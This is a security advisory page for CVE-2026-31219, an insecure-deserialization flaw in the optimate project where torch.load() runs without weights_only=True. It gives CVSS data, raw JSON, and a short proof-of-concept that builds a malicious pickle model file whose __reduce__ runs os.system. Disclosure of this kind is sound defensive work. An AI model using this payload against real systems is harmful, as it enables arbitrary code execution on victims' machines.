Security Vulnerability Report
中文
CVE-2026-31219 CVSS 8.8 HIGH

CVE-2026-31219

Published: 2026-05-12 16:16:14
Last Modified: 2026-05-15 15:16:51

Description

The _load_model() function in the neural_magic_training.py script of the optimate project in commit a6d302f912b481c94370811af6b11402f51d377f (2024-07-21) is vulnerable to insecure deserialization (CWE-502). When a user provides a single model file path (e.g., .pt or .pth) via the --model command-line argument, the function loads the file using torch.load() without enabling the weights_only=True security parameter. This allows the deserialization of arbitrary Python objects through the Pickle module. A remote attacker can exploit this by providing a maliciously crafted model file, leading to arbitrary code execution during deserialization on the victim's system.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

optimate commit a6d302f912b481c94370811af6b11402f51d377f

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os import torch # Define a malicious class that executes code upon deserialization class Exploit: def __reduce__(self): # Execute arbitrary system command (e.g., calc.exe or touch) return (os.system, ('whoami',)) # Create the malicious model file malicious_model = Exploit() # Save the malicious object using torch.save (which uses pickle) with open('malicious_model.pt', 'wb') as f: torch.save(malicious_model, f) print("Malicious model file 'malicious_model.pt' generated.") # Victim executes: python script.py --model malicious_model.pt

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31219", "sourceIdentifier": "[email protected]", "published": "2026-05-12T16:16:13.813", "lastModified": "2026-05-15T15:16:50.910", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The _load_model() function in the neural_magic_training.py script of the optimate project in commit a6d302f912b481c94370811af6b11402f51d377f (2024-07-21) is vulnerable to insecure deserialization (CWE-502). When a user provides a single model file path (e.g., .pt or .pth) via the --model command-line argument, the function loads the file using torch.load() without enabling the weights_only=True security parameter. This allows the deserialization of arbitrary Python objects through the Pickle module. A remote attacker can exploit this by providing a maliciously crafted model file, leading to arbitrary code execution during deserialization on the victim's system."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "references": [{"url": "https://github.com/nebuly-ai/optimate", "source": "[email protected]"}, {"url": "https://www.notion.so/CVE-2026-31219-35d1e139318881c8a629ec19671e74c3", "source": "[email protected]"}]}}